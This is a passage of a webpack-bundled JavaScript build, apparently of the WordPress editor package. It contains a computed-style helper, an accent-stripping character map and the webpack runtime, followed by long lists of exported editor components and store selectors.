863// You can see the original here: https://github.com/twolfson/computedStyle/blob/04cd1da2e30fa45844f95f5cb1ac898e9b9ef050/lib/computedStyle.js
864var computedStyle = function (el, prop, getComputedStyle) {
865 getComputedStyle = window.getComputedStyle;
866
867 // In one fell swoop
868 return (
869 // If we have getComputedStyle
870 getComputedStyle ?
871 // Query it
872 // TODO: From CSS-Query notes, we might need (node, null) for FF
873 getComputedStyle(el) :
874
875 // Otherwise, we are in IE and use currentStyle
876 el.currentStyle
877 )[
878 // Switch to camelCase for CSSOM
879 // DEV: Grabbed from jQuery
880 // https://github.com/jquery/jquery/blob/1.9-stable/src/css.js#L191-L194
881 // https://github.com/jquery/jquery/blob/1.9-stable/src/core.js#L593-L597
882 prop.replace(/-(\w)/gi, function (word, letter) {
883 return letter.toUpperCase();
884 })
885 ];
886};
887
888module.exports = computedStyle;
889
890
891/***/ }),
892
893/***/ 9681:
894/***/ ((module) => {
895
896var characterMap = {
897 "À": "A",
898 "Á": "A",
899 "Â": "A",
900 "Ã": "A",
901 "Ä": "A",
902 "Å": "A",
903 "Ấ": "A",
904 "Ắ": "A",
905 "Ẳ": "A",
906 "Ẵ": "A",
907 "Ặ": "A",
908 "Æ": "AE",
909 "Ầ": "A",
910 "Ằ": "A",
911 "Ȃ": "A",
912 "Ả": "A",
913 "Ạ": "A",
914 "Ẩ": "A",
915 "Ẫ": "A",
916 "Ậ": "A",
917 "Ç": "C",
918 "Ḉ": "C",
919 "È": "E",
920 "É": "E",
921 "Ê": "E",
922 "Ë": "E",
923 "Ế": "E",
924 "Ḗ": "E",
925 "Ề": "E",
926 "Ḕ": "E",
927 "Ḝ": "E",
928 "Ȇ": "E",
929 "Ẻ": "E",
930 "Ẽ": "E",
931 "Ẹ": "E",
932 "Ể": "E",
933 "Ễ": "E",
934 "Ệ": "E",
935 "Ì": "I",
936 "Í": "I",
937 "Î": "I",
938 "Ï": "I",
939 "Ḯ": "I",
940 "Ȋ": "I",
941 "Ỉ": "I",
942 "Ị": "I",
943 "Ð": "D",
944 "Ñ": "N",
945 "Ò": "O",
946 "Ó": "O",
947 "Ô": "O",
948 "Õ": "O",
949 "Ö": "O",
950 "Ø": "O",
951 "Ố": "O",
952 "Ṍ": "O",
953 "Ṓ": "O",
954 "Ȏ": "O",
955 "Ỏ": "O",
956 "Ọ": "O",
957 "Ổ": "O",
958 "Ỗ": "O",
959 "Ộ": "O",
960 "Ờ": "O",
961 "Ở": "O",
962 "Ỡ": "O",
963 "Ớ": "O",
964 "Ợ": "O",
965 "Ù": "U",
966 "Ú": "U",
967 "Û": "U",
968 "Ü": "U",
969 "Ủ": "U",
970 "Ụ": "U",
971 "Ử": "U",
972 "Ữ": "U",
973 "Ự": "U",
974 "Ý": "Y",
975 "à": "a",
976 "á": "a",
977 "â": "a",
978 "ã": "a",
979 "ä": "a",
980 "å": "a",
981 "ấ": "a",
982 "ắ": "a",
983 "ẳ": "a",
984 "ẵ": "a",
985 "ặ": "a",
986 "æ": "ae",
987 "ầ": "a",
988 "ằ": "a",
989 "ȃ": "a",
990 "ả": "a",
991 "ạ": "a",
992 "ẩ": "a",
993 "ẫ": "a",
994 "ậ": "a",
995 "ç": "c",
996 "ḉ": "c",
997 "è": "e",
998 "é": "e",
999 "ê": "e",
1000 "ë": "e",
1001 "ế": "e",
1002 "ḗ": "e",
1003 "ề": "e",
1004 "ḕ": "e",
1005 "ḝ": "e",
1006 "ȇ": "e",
1007 "ẻ": "e",
1008 "ẽ": "e",
1009 "ẹ": "e",
1010 "ể": "e",
1011 "ễ": "e",
1012 "ệ": "e",
1013 "ì": "i",
1014 "í": "i",
1015 "î": "i",
1016 "ï": "i",
1017 "ḯ": "i",
1018 "ȋ": "i",
1019 "ỉ": "i",
1020 "ị": "i",
1021 "ð": "d",
1022 "ñ": "n",
1023 "ò": "o",
1024 "ó": "o",
1025 "ô": "o",
1026 "õ": "o",
1027 "ö": "o",
1028 "ø": "o",
1029 "ố": "o",
1030 "ṍ": "o",
1031 "ṓ": "o",
1032 "ȏ": "o",
1033 "ỏ": "o",
1034 "ọ": "o",
1035 "ổ": "o",
1036 "ỗ": "o",
1037 "ộ": "o",
1038 "ờ": "o",
1039 "ở": "o",
1040 "ỡ": "o",
1041 "ớ": "o",
1042 "ợ": "o",
1043 "ù": "u",
1044 "ú": "u",
1045 "û": "u",
1046 "ü": "u",
1047 "ủ": "u",
1048 "ụ": "u",
1049 "ử": "u",
1050 "ữ": "u",
1051 "ự": "u",
1052 "ý": "y",
1053 "ÿ": "y",
1054 "Ā": "A",
1055 "ā": "a",
1056 "Ă": "A",
1057 "ă": "a",
1058 "Ą": "A",
1059 "ą": "a",
1060 "Ć": "C",
1061 "ć": "c",
1062 "Ĉ": "C",
1063 "ĉ": "c",
1064 "Ċ": "C",
1065 "ċ": "c",
1066 "Č": "C",
1067 "č": "c",
1068 "C̆": "C",
1069 "c̆": "c",
1070 "Ď": "D",
1071 "ď": "d",
1072 "Đ": "D",
1073 "đ": "d",
1074 "Ē": "E",
1075 "ē": "e",
1076 "Ĕ": "E",
1077 "ĕ": "e",
1078 "Ė": "E",
1079 "ė": "e",
1080 "Ę": "E",
1081 "ę": "e",
1082 "Ě": "E",
1083 "ě": "e",
1084 "Ĝ": "G",
1085 "Ǵ": "G",
1086 "ĝ": "g",
1087 "ǵ": "g",
1088 "Ğ": "G",
1089 "ğ": "g",
1090 "Ġ": "G",
1091 "ġ": "g",
1092 "Ģ": "G",
1093 "ģ": "g",
1094 "Ĥ": "H",
1095 "ĥ": "h",
1096 "Ħ": "H",
1097 "ħ": "h",
1098 "Ḫ": "H",
1099 "ḫ": "h",
1100 "Ĩ": "I",
1101 "ĩ": "i",
1102 "Ī": "I",
1103 "ī": "i",
1104 "Ĭ": "I",
1105 "ĭ": "i",
1106 "Į": "I",
1107 "į": "i",
1108 "İ": "I",
1109 "ı": "i",
1110 "IJ": "IJ",
1111 "ij": "ij",
1112 "Ĵ": "J",
1113 "ĵ": "j",
1114 "Ķ": "K",
1115 "ķ": "k",
1116 "Ḱ": "K",
1117 "ḱ": "k",
1118 "K̆": "K",
1119 "k̆": "k",
1120 "Ĺ": "L",
1121 "ĺ": "l",
1122 "Ļ": "L",
1123 "ļ": "l",
1124 "Ľ": "L",
1125 "ľ": "l",
1126 "Ŀ": "L",
1127 "ŀ": "l",
1128 "Ł": "l",
1129 "ł": "l",
1130 "Ḿ": "M",
1131 "ḿ": "m",
1132 "M̆": "M",
1133 "m̆": "m",
1134 "Ń": "N",
1135 "ń": "n",
1136 "Ņ": "N",
1137 "ņ": "n",
1138 "Ň": "N",
1139 "ň": "n",
1140 "ʼn": "n",
1141 "N̆": "N",
1142 "n̆": "n",
1143 "Ō": "O",
1144 "ō": "o",
1145 "Ŏ": "O",
1146 "ŏ": "o",
1147 "Ő": "O",
1148 "ő": "o",
1149 "Œ": "OE",
1150 "œ": "oe",
1151 "P̆": "P",
1152 "p̆": "p",
1153 "Ŕ": "R",
1154 "ŕ": "r",
1155 "Ŗ": "R",
1156 "ŗ": "r",
1157 "Ř": "R",
1158 "ř": "r",
1159 "R̆": "R",
1160 "r̆": "r",
1161 "Ȓ": "R",
1162 "ȓ": "r",
1163 "Ś": "S",
1164 "ś": "s",
1165 "Ŝ": "S",
1166 "ŝ": "s",
1167 "Ş": "S",
1168 "Ș": "S",
1169 "ș": "s",
1170 "ş": "s",
1171 "Š": "S",
1172 "š": "s",
1173 "Ţ": "T",
1174 "ţ": "t",
1175 "ț": "t",
1176 "Ț": "T",
1177 "Ť": "T",
1178 "ť": "t",
1179 "Ŧ": "T",
1180 "ŧ": "t",
1181 "T̆": "T",
1182 "t̆": "t",
1183 "Ũ": "U",
1184 "ũ": "u",
1185 "Ū": "U",
1186 "ū": "u",
1187 "Ŭ": "U",
1188 "ŭ": "u",
1189 "Ů": "U",
1190 "ů": "u",
1191 "Ű": "U",
1192 "ű": "u",
1193 "Ų": "U",
1194 "ų": "u",
1195 "Ȗ": "U",
1196 "ȗ": "u",
1197 "V̆": "V",
1198 "v̆": "v",
1199 "Ŵ": "W",
1200 "ŵ": "w",
1201 "Ẃ": "W",
1202 "ẃ": "w",
1203 "X̆": "X",
1204 "x̆": "x",
1205 "Ŷ": "Y",
1206 "ŷ": "y",
1207 "Ÿ": "Y",
1208 "Y̆": "Y",
1209 "y̆": "y",
1210 "Ź": "Z",
1211 "ź": "z",
1212 "Ż": "Z",
1213 "ż": "z",
1214 "Ž": "Z",
1215 "ž": "z",
1216 "ſ": "s",
1217 "ƒ": "f",
1218 "Ơ": "O",
1219 "ơ": "o",
1220 "Ư": "U",
1221 "ư": "u",
1222 "Ǎ": "A",
1223 "ǎ": "a",
1224 "Ǐ": "I",
1225 "ǐ": "i",
1226 "Ǒ": "O",
1227 "ǒ": "o",
1228 "Ǔ": "U",
1229 "ǔ": "u",
1230 "Ǖ": "U",
1231 "ǖ": "u",
1232 "Ǘ": "U",
1233 "ǘ": "u",
1234 "Ǚ": "U",
1235 "ǚ": "u",
1236 "Ǜ": "U",
1237 "ǜ": "u",
1238 "Ứ": "U",
1239 "ứ": "u",
1240 "Ṹ": "U",
1241 "ṹ": "u",
1242 "Ǻ": "A",
1243 "ǻ": "a",
1244 "Ǽ": "AE",
1245 "ǽ": "ae",
1246 "Ǿ": "O",
1247 "ǿ": "o",
1248 "Þ": "TH",
1249 "þ": "th",
1250 "Ṕ": "P",
1251 "ṕ": "p",
1252 "Ṥ": "S",
1253 "ṥ": "s",
1254 "X́": "X",
1255 "x́": "x",
1256 "Ѓ": "Г",
1257 "ѓ": "г",
1258 "Ќ": "К",
1259 "ќ": "к",
1260 "A̋": "A",
1261 "a̋": "a",
1262 "E̋": "E",
1263 "e̋": "e",
1264 "I̋": "I",
1265 "i̋": "i",
1266 "Ǹ": "N",
1267 "ǹ": "n",
1268 "Ồ": "O",
1269 "ồ": "o",
1270 "Ṑ": "O",
1271 "ṑ": "o",
1272 "Ừ": "U",
1273 "ừ": "u",
1274 "Ẁ": "W",
1275 "ẁ": "w",
1276 "Ỳ": "Y",
1277 "ỳ": "y",
1278 "Ȁ": "A",
1279 "ȁ": "a",
1280 "Ȅ": "E",
1281 "ȅ": "e",
1282 "Ȉ": "I",
1283 "ȉ": "i",
1284 "Ȍ": "O",
1285 "ȍ": "o",
1286 "Ȑ": "R",
1287 "ȑ": "r",
1288 "Ȕ": "U",
1289 "ȕ": "u",
1290 "B̌": "B",
1291 "b̌": "b",
1292 "Č̣": "C",
1293 "č̣": "c",
1294 "Ê̌": "E",
1295 "ê̌": "e",
1296 "F̌": "F",
1297 "f̌": "f",
1298 "Ǧ": "G",
1299 "ǧ": "g",
1300 "Ȟ": "H",
1301 "ȟ": "h",
1302 "J̌": "J",
1303 "ǰ": "j",
1304 "Ǩ": "K",
1305 "ǩ": "k",
1306 "M̌": "M",
1307 "m̌": "m",
1308 "P̌": "P",
1309 "p̌": "p",
1310 "Q̌": "Q",
1311 "q̌": "q",
1312 "Ř̩": "R",
1313 "ř̩": "r",
1314 "Ṧ": "S",
1315 "ṧ": "s",
1316 "V̌": "V",
1317 "v̌": "v",
1318 "W̌": "W",
1319 "w̌": "w",
1320 "X̌": "X",
1321 "x̌": "x",
1322 "Y̌": "Y",
1323 "y̌": "y",
1324 "A̧": "A",
1325 "a̧": "a",
1326 "B̧": "B",
1327 "b̧": "b",
1328 "Ḑ": "D",
1329 "ḑ": "d",
1330 "Ȩ": "E",
1331 "ȩ": "e",
1332 "Ɛ̧": "E",
1333 "ɛ̧": "e",
1334 "Ḩ": "H",
1335 "ḩ": "h",
1336 "I̧": "I",
1337 "i̧": "i",
1338 "Ɨ̧": "I",
1339 "ɨ̧": "i",
1340 "M̧": "M",
1341 "m̧": "m",
1342 "O̧": "O",
1343 "o̧": "o",
1344 "Q̧": "Q",
1345 "q̧": "q",
1346 "U̧": "U",
1347 "u̧": "u",
1348 "X̧": "X",
1349 "x̧": "x",
1350 "Z̧": "Z",
1351 "z̧": "z",
1352 "й":"и",
1353 "Й":"И",
1354 "ё":"е",
1355 "Ё":"Е",
1356};
1357
1358var chars = Object.keys(characterMap).join('|');
1359var allAccents = new RegExp(chars, 'g');
1360var firstAccent = new RegExp(chars, '');
1361
1362function matcher(match) {
1363 return characterMap[match];
1364}
1365
1366var removeAccents = function(string) {
1367 return string.replace(allAccents, matcher);
1368};
1369
1370var hasAccents = function(string) {
1371 return !!string.match(firstAccent);
1372};
1373
1374module.exports = removeAccents;
1375module.exports.has = hasAccents;
1376module.exports.remove = removeAccents;
1377
1378
1379/***/ })
1380
1381/******/ });
1382/************************************************************************/
1383/******/ // The module cache
1384/******/ var __webpack_module_cache__ = {};
1385/******/
1386/******/ // The require function
1387/******/ function __webpack_require__(moduleId) {
1388/******/ // Check if module is in cache
1389/******/ var cachedModule = __webpack_module_cache__[moduleId];
1390/******/ if (cachedModule !== undefined) {
1391/******/ return cachedModule.exports;
1392/******/ }
1393/******/ // Create a new module (and put it into the cache)
1394/******/ var module = __webpack_module_cache__[moduleId] = {
1395/******/ // no module.id needed
1396/******/ // no module.loaded needed
1397/******/ exports: {}
1398/******/ };
1399/******/
1400/******/ // Execute the module function
1401/******/ __webpack_modules__[moduleId].call(module.exports, module, module.exports, __webpack_require__);
1402/******/
1403/******/ // Return the exports of the module
1404/******/ return module.exports;
1405/******/ }
1406/******/
1407/************************************************************************/
1408/******/ /* webpack/runtime/compat get default export */
1409/******/ (() => {
1410/******/ // getDefaultExport function for compatibility with non-harmony modules
1411/******/ __webpack_require__.n = (module) => {
1412/******/ var getter = module && module.__esModule ?
1413/******/ () => (module['default']) :
1414/******/ () => (module);
1415/******/ __webpack_require__.d(getter, { a: getter });
1416/******/ return getter;
1417/******/ };
1418/******/ })();
1419/******/
1420/******/ /* webpack/runtime/define property getters */
1421/******/ (() => {
1422/******/ // define getter functions for harmony exports
1423/******/ __webpack_require__.d = (exports, definition) => {
1424/******/ for(var key in definition) {
1425/******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
1426/******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
1427/******/ }
1428/******/ }
1429/******/ };
1430/******/ })();
1431/******/
1432/******/ /* webpack/runtime/hasOwnProperty shorthand */
1433/******/ (() => {
1434/******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
1435/******/ })();
1436/******/
1437/******/ /* webpack/runtime/make namespace object */
1438/******/ (() => {
1439/******/ // define __esModule on exports
1440/******/ __webpack_require__.r = (exports) => {
1441/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
1442/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
1443/******/ }
1444/******/ Object.defineProperty(exports, '__esModule', { value: true });
1445/******/ };
1446/******/ })();
1447/******/
1448/************************************************************************/
1449var __webpack_exports__ = {};
1450// This entry needs to be wrapped in an IIFE because it needs to be in strict mode.
1451(() => {
1452"use strict";
1453// ESM COMPAT FLAG
1454__webpack_require__.r(__webpack_exports__);
1455
1456// EXPORTS
1457__webpack_require__.d(__webpack_exports__, {
1458 AlignmentToolbar: () => (/* reexport */ AlignmentToolbar),
1459 Autocomplete: () => (/* reexport */ Autocomplete),
1460 AutosaveMonitor: () => (/* reexport */ autosave_monitor_default),
1461 BlockAlignmentToolbar: () => (/* reexport */ BlockAlignmentToolbar),
1462 BlockControls: () => (/* reexport */ BlockControls),
1463 BlockEdit: () => (/* reexport */ BlockEdit),
1464 BlockEditorKeyboardShortcuts: () => (/* reexport */ BlockEditorKeyboardShortcuts),
1465 BlockFormatControls: () => (/* reexport */ BlockFormatControls),
1466 BlockIcon: () => (/* reexport */ BlockIcon),
1467 BlockInspector: () => (/* reexport */ BlockInspector),
1468 BlockList: () => (/* reexport */ BlockList),
1469 BlockMover: () => (/* reexport */ BlockMover),
1470 BlockNavigationDropdown: () => (/* reexport */ BlockNavigationDropdown),
1471 BlockSelectionClearer: () => (/* reexport */ BlockSelectionClearer),
1472 BlockSettingsMenu: () => (/* reexport */ BlockSettingsMenu),
1473 BlockTitle: () => (/* reexport */ BlockTitle),
1474 BlockToolbar: () => (/* reexport */ BlockToolbar),
1475 CharacterCount: () => (/* reexport */ CharacterCount),
1476 ColorPalette: () => (/* reexport */ ColorPalette),
1477 ContrastChecker: () => (/* reexport */ ContrastChecker),
1478 CopyHandler: () => (/* reexport */ CopyHandler),
1479 DefaultBlockAppender: () => (/* reexport */ DefaultBlockAppender),
1480 DocumentBar: () => (/* reexport */ DocumentBar),
1481 DocumentOutline: () => (/* reexport */ DocumentOutline),
1482 DocumentOutlineCheck: () => (/* reexport */ DocumentOutlineCheck),
1483 EditorHistoryRedo: () => (/* reexport */ redo_redo_default),
1484 EditorHistoryUndo: () => (/* reexport */ undo_undo_default),
1485 EditorKeyboardShortcuts: () => (/* reexport */ EditorKeyboardShortcuts),
1486 EditorKeyboardShortcutsRegister: () => (/* reexport */ register_shortcuts_default),
1487 EditorNotices: () => (/* reexport */ editor_notices_default),
1488 EditorProvider: () => (/* reexport */ provider_default),
1489 EditorSnackbars: () => (/* reexport */ EditorSnackbars),
1490 EntitiesSavedStates: () => (/* reexport */ EntitiesSavedStates),
1491 ErrorBoundary: () => (/* reexport */ error_boundary_default),
1492 FontSizePicker: () => (/* reexport */ FontSizePicker),
1493 InnerBlocks: () => (/* reexport */ InnerBlocks),
1494 Inserter: () => (/* reexport */ Inserter),
1495 InspectorAdvancedControls: () => (/* reexport */ InspectorAdvancedControls),
1496 InspectorControls: () => (/* reexport */ InspectorControls),
1497 LocalAutosaveMonitor: () => (/* reexport */ local_autosave_monitor_default),
1498 MediaPlaceholder: () => (/* reexport */ MediaPlaceholder),
1499 MediaUpload: () => (/* reexport */ MediaUpload),
1500 MediaUploadCheck: () => (/* reexport */ MediaUploadCheck),
1501 MultiSelectScrollIntoView: () => (/* reexport */ MultiSelectScrollIntoView),
1502 NavigableToolbar: () => (/* reexport */ NavigableToolbar),
1503 ObserveTyping: () => (/* reexport */ ObserveTyping),
1504 PageAttributesCheck: () => (/* reexport */ check_check_default),
1505 PageAttributesOrder: () => (/* reexport */ PageAttributesOrderWithChecks),
1506 PageAttributesPanel: () => (/* reexport */ PageAttributesPanel),
1507 PageAttributesParent: () => (/* reexport */ parent_parent_default),
1508 PageTemplate: () => (/* reexport */ classic_theme_default),
1509 PanelColorSettings: () => (/* reexport */ PanelColorSettings),
1510 PlainText: () => (/* reexport */ PlainText),
1511 PluginBlockSettingsMenuItem: () => (/* reexport */ plugin_block_settings_menu_item_default),
1512 PluginDocumentSettingPanel: () => (/* reexport */ plugin_document_setting_panel_default),
1513 PluginMoreMenuItem: () => (/* reexport */ PluginMoreMenuItem),
1514 PluginPostPublishPanel: () => (/* reexport */ plugin_post_publish_panel_default),
1515 PluginPostStatusInfo: () => (/* reexport */ plugin_post_status_info_default),
1516 PluginPrePublishPanel: () => (/* reexport */ plugin_pre_publish_panel_default),
1517 PluginPreviewMenuItem: () => (/* reexport */ PluginPreviewMenuItem),
1518 PluginSidebar: () => (/* reexport */ PluginSidebar),
1519 PluginSidebarMoreMenuItem: () => (/* reexport */ PluginSidebarMoreMenuItem),
1520 PostAuthor: () => (/* reexport */ post_author_default),
1521 PostAuthorCheck: () => (/* reexport */ PostAuthorCheck),
1522 PostAuthorPanel: () => (/* reexport */ panel_default),
1523 PostComments: () => (/* reexport */ post_comments_default),
1524 PostDiscussionPanel: () => (/* reexport */ PostDiscussionPanel),
1525 PostExcerpt: () => (/* reexport */ PostExcerpt),
1526 PostExcerptCheck: () => (/* reexport */ post_excerpt_check_check_default),
1527 PostExcerptPanel: () => (/* reexport */ PostExcerptPanel),
1528 PostFeaturedImage: () => (/* reexport */ post_featured_image_default),
1529 PostFeaturedImageCheck: () => (/* reexport */ post_featured_image_check_check_default),
1530 PostFeaturedImagePanel: () => (/* reexport */ PostFeaturedImagePanel),
1531 PostFormat: () => (/* reexport */ PostFormat),
1532 PostFormatCheck: () => (/* reexport */ PostFormatCheck),
1533 PostLastRevision: () => (/* reexport */ post_last_revision_default),
1534 PostLastRevisionCheck: () => (/* reexport */ post_last_revision_check_check_default),
1535 PostLastRevisionPanel: () => (/* reexport */ panel_panel_default),
1536 PostLockedModal: () => (/* reexport */ post_locked_modal_default),
1537 PostPendingStatus: () => (/* reexport */ post_pending_status_default),
1538 PostPendingStatusCheck: () => (/* reexport */ post_pending_status_check_check_default),
1539 PostPingbacks: () => (/* reexport */ post_pingbacks_default),
1540 PostPreviewButton: () => (/* reexport */ PostPreviewButton),
1541 PostPublishButton: () => (/* reexport */ post_publish_button_default),
1542 PostPublishButtonLabel: () => (/* reexport */ PublishButtonLabel),
1543 PostPublishPanel: () => (/* reexport */ post_publish_panel_default),
1544 PostSavedState: () => (/* reexport */ PostSavedState),
1545 PostSchedule: () => (/* reexport */ PostSchedule),
1546 PostScheduleCheck: () => (/* reexport */ PostScheduleCheck),
1547 PostScheduleLabel: () => (/* reexport */ PostScheduleLabel),
1548 PostSchedulePanel: () => (/* reexport */ PostSchedulePanel),
1549 PostSticky: () => (/* reexport */ PostSticky),
1550 PostStickyCheck: () => (/* reexport */ PostStickyCheck),
1551 PostSwitchToDraftButton: () => (/* reexport */ PostSwitchToDraftButton),
1552 PostSyncStatus: () => (/* reexport */ PostSyncStatus),
1553 PostTaxonomies: () => (/* reexport */ post_taxonomies_default),
1554 PostTaxonomiesCheck: () => (/* reexport */ PostTaxonomiesCheck),
1555 PostTaxonomiesFlatTermSelector: () => (/* reexport */ FlatTermSelector),
1556 PostTaxonomiesHierarchicalTermSelector: () => (/* reexport */ HierarchicalTermSelector),
1557 PostTaxonomiesPanel: () => (/* reexport */ panel_PostTaxonomies),
1558 PostTemplatePanel: () => (/* reexport */ PostTemplatePanel),
1559 PostTextEditor: () => (/* reexport */ PostTextEditor),
1560 PostTitle: () => (/* reexport */ post_title_default),
1561 PostTitleRaw: () => (/* reexport */ post_title_raw_default),
1562 PostTrash: () => (/* reexport */ PostTrash),
1563 PostTrashCheck: () => (/* reexport */ PostTrashCheck),
1564 PostTypeSupportCheck: () => (/* reexport */ post_type_support_check_default),
1565 PostURL: () => (/* reexport */ PostURL),
1566 PostURLCheck: () => (/* reexport */ PostURLCheck),
1567 PostURLLabel: () => (/* reexport */ PostURLLabel),
1568 PostURLPanel: () => (/* reexport */ PostURLPanel),
1569 PostVisibility: () => (/* reexport */ PostVisibility),
1570 PostVisibilityCheck: () => (/* reexport */ PostVisibilityCheck),
1571 PostVisibilityLabel: () => (/* reexport */ PostVisibilityLabel),
1572 RichText: () => (/* reexport */ RichText),
1573 RichTextShortcut: () => (/* reexport */ RichTextShortcut),
1574 RichTextToolbarButton: () => (/* reexport */ RichTextToolbarButton),
1575 ServerSideRender: () => (/* reexport */ (external_wp_serverSideRender_default())),
1576 SkipToSelectedBlock: () => (/* reexport */ SkipToSelectedBlock),
1577 TableOfContents: () => (/* reexport */ table_of_contents_default),
1578 TextEditorGlobalKeyboardShortcuts: () => (/* reexport */ TextEditorGlobalKeyboardShortcuts),
1579 ThemeSupportCheck: () => (/* reexport */ ThemeSupportCheck),
1580 TimeToRead: () => (/* reexport */ TimeToRead),
1581 URLInput: () => (/* reexport */ URLInput),
1582 URLInputButton: () => (/* reexport */ URLInputButton),
1583 URLPopover: () => (/* reexport */ URLPopover),
1584 UnsavedChangesWarning: () => (/* reexport */ UnsavedChangesWarning),
1585 VisualEditorGlobalKeyboardShortcuts: () => (/* reexport */ VisualEditorGlobalKeyboardShortcuts),
1586 Warning: () => (/* reexport */ Warning),
1587 WordCount: () => (/* reexport */ WordCount),
1588 WritingFlow: () => (/* reexport */ WritingFlow),
1589 __unstableRichTextInputEvent: () => (/* reexport */ __unstableRichTextInputEvent),
1590 cleanForSlug: () => (/* reexport */ cleanForSlug),
1591 createCustomColorsHOC: () => (/* reexport */ createCustomColorsHOC),
1592 getColorClassName: () => (/* reexport */ getColorClassName),
1593 getColorObjectByAttributeValues: () => (/* reexport */ getColorObjectByAttributeValues),
1594 getColorObjectByColorValue: () => (/* reexport */ getColorObjectByColorValue),
1595 getFontSize: () => (/* reexport */ getFontSize),
1596 getFontSizeClass: () => (/* reexport */ getFontSizeClass),
1597 getTemplatePartIcon: () => (/* reexport */ getTemplatePartIcon),
1598 mediaUpload: () => (/* reexport */ mediaUpload),
1599 privateApis: () => (/* reexport */ privateApis),
1600 registerEntityAction: () => (/* reexport */ api_registerEntityAction),
1601 registerEntityField: () => (/* reexport */ api_registerEntityField),
1602 store: () => (/* reexport */ store_store),
1603 storeConfig: () => (/* reexport */ storeConfig),
1604 transformStyles: () => (/* reexport */ external_wp_blockEditor_namespaceObject.transformStyles),
1605 unregisterEntityAction: () => (/* reexport */ api_unregisterEntityAction),
1606 unregisterEntityField: () => (/* reexport */ api_unregisterEntityField),
1607 useEntitiesSavedStatesIsDirty: () => (/* reexport */ useIsDirty),
1608 usePostScheduleLabel: () => (/* reexport */ usePostScheduleLabel),
1609 usePostURLLabel: () => (/* reexport */ usePostURLLabel),
1610 usePostVisibilityLabel: () => (/* reexport */ usePostVisibilityLabel),
1611 userAutocompleter: () => (/* reexport */ user_default),
1612 withColorContext: () => (/* reexport */ withColorContext),
1613 withColors: () => (/* reexport */ withColors),
1614 withFontSizes: () => (/* reexport */ withFontSizes)
1615});
1616
1617// NAMESPACE OBJECT: ./node_modules/@wordpress/editor/build-module/store/selectors.js
1618var selectors_namespaceObject = {};
1619__webpack_require__.r(selectors_namespaceObject);
1620__webpack_require__.d(selectors_namespaceObject, {
1621 __experimentalGetDefaultTemplatePartAreas: () => (__experimentalGetDefaultTemplatePartAreas),
1622 __experimentalGetDefaultTemplateType: () => (__experimentalGetDefaultTemplateType),
1623 __experimentalGetDefaultTemplateTypes: () => (__experimentalGetDefaultTemplateTypes),
1624 __experimentalGetTemplateInfo: () => (__experimentalGetTemplateInfo),
1625 __unstableIsEditorReady: () => (__unstableIsEditorReady),
1626 canInsertBlockType: () => (canInsertBlockType),
1627 canUserUseUnfilteredHTML: () => (canUserUseUnfilteredHTML),
1628 didPostSaveRequestFail: () => (didPostSaveRequestFail),
1629 didPostSaveRequestSucceed: () => (didPostSaveRequestSucceed),
1630 getActivePostLock: () => (getActivePostLock),
1631 getAdjacentBlockClientId: () => (getAdjacentBlockClientId),
1632 getAutosaveAttribute: () => (getAutosaveAttribute),
1633 getBlock: () => (getBlock),
1634 getBlockAttributes: () => (getBlockAttributes),
1635 getBlockCount: () => (getBlockCount),
1636 getBlockHierarchyRootClientId: () => (getBlockHierarchyRootClientId),
1637 getBlockIndex: () => (getBlockIndex),
1638 getBlockInsertionPoint: () => (getBlockInsertionPoint),
1639 getBlockListSettings: () => (getBlockListSettings),
1640 getBlockMode: () => (getBlockMode),
1641 getBlockName: () => (getBlockName),
1642 getBlockOrder: () => (getBlockOrder),
1643 getBlockRootClientId: () => (getBlockRootClientId),
1644 getBlockSelectionEnd: () => (getBlockSelectionEnd),
1645 getBlockSelectionStart: () => (getBlockSelectionStart),
1646 getBlocks: () => (getBlocks),
1647 getBlocksByClientId: () => (getBlocksByClientId),
1648 getClientIdsOfDescendants: () => (getClientIdsOfDescendants),
1649 getClientIdsWithDescendants: () => (getClientIdsWithDescendants),
1650 getCurrentPost: () => (getCurrentPost),
1651 getCurrentPostAttribute: () => (getCurrentPostAttribute),
1652 getCurrentPostId: () => (getCurrentPostId),
1653 getCurrentPostLastRevisionId: () => (getCurrentPostLastRevisionId),
1654 getCurrentPostRevisionsCount: () => (getCurrentPostRevisionsCount),
1655 getCurrentPostType: () => (getCurrentPostType),
1656 getCurrentTemplateId: () => (getCurrentTemplateId),
1657 getDeviceType: () => (getDeviceType),
1658 getEditedPostAttribute: () => (getEditedPostAttribute),
1659 getEditedPostContent: () => (getEditedPostContent),
1660 getEditedPostPreviewLink: () => (getEditedPostPreviewLink),
1661 getEditedPostSlug: () => (getEditedPostSlug),
1662 getEditedPostVisibility: () => (getEditedPostVisibility),
1663 getEditorBlocks: () => (getEditorBlocks),
1664 getEditorMode: () => (getEditorMode),
1665 getEditorSelection: () => (getEditorSelection),
1666 getEditorSelectionEnd: () => (getEditorSelectionEnd),
1667 getEditorSelectionStart: () => (getEditorSelectionStart),
1668 getEditorSettings: () => (getEditorSettings),
1669 getFirstMultiSelectedBlockClientId: () => (getFirstMultiSelectedBlockClientId),
1670 getGlobalBlockCount: () => (getGlobalBlockCount),
1671 getInserterItems: () => (getInserterItems),
1672 getLastMultiSelectedBlockClientId: () => (getLastMultiSelectedBlockClientId),
1673 getMultiSelectedBlockClientIds: () => (getMultiSelectedBlockClientIds),
1674 getMultiSelectedBlocks: () => (getMultiSelectedBlocks),
1675 getMultiSelectedBlocksEndClientId: () => (getMultiSelectedBlocksEndClientId),
1676 getMultiSelectedBlocksStartClientId: () => (getMultiSelectedBlocksStartClientId),
1677 getNextBlockClientId: () => (getNextBlockClientId),
1678 getPermalink: () => (getPermalink),
1679 getPermalinkParts: () => (getPermalinkParts),
1680 getPostEdits: () => (getPostEdits),
1681 getPostLockUser: () => (getPostLockUser),
1682 getPostTypeLabel: () => (getPostTypeLabel),
1683 getPreviousBlockClientId: () => (getPreviousBlockClientId),
1684 getRenderingMode: () => (getRenderingMode),
1685 getSelectedBlock: () => (getSelectedBlock),
1686 getSelectedBlockClientId: () => (getSelectedBlockClientId),
1687 getSelectedBlockCount: () => (getSelectedBlockCount),
1688 getSelectedBlocksInitialCaretPosition: () => (getSelectedBlocksInitialCaretPosition),
1689 getStateBeforeOptimisticTransaction: () => (getStateBeforeOptimisticTransaction),
1690 getSuggestedPostFormat: () => (getSuggestedPostFormat),
1691 getTemplate: () => (getTemplate),
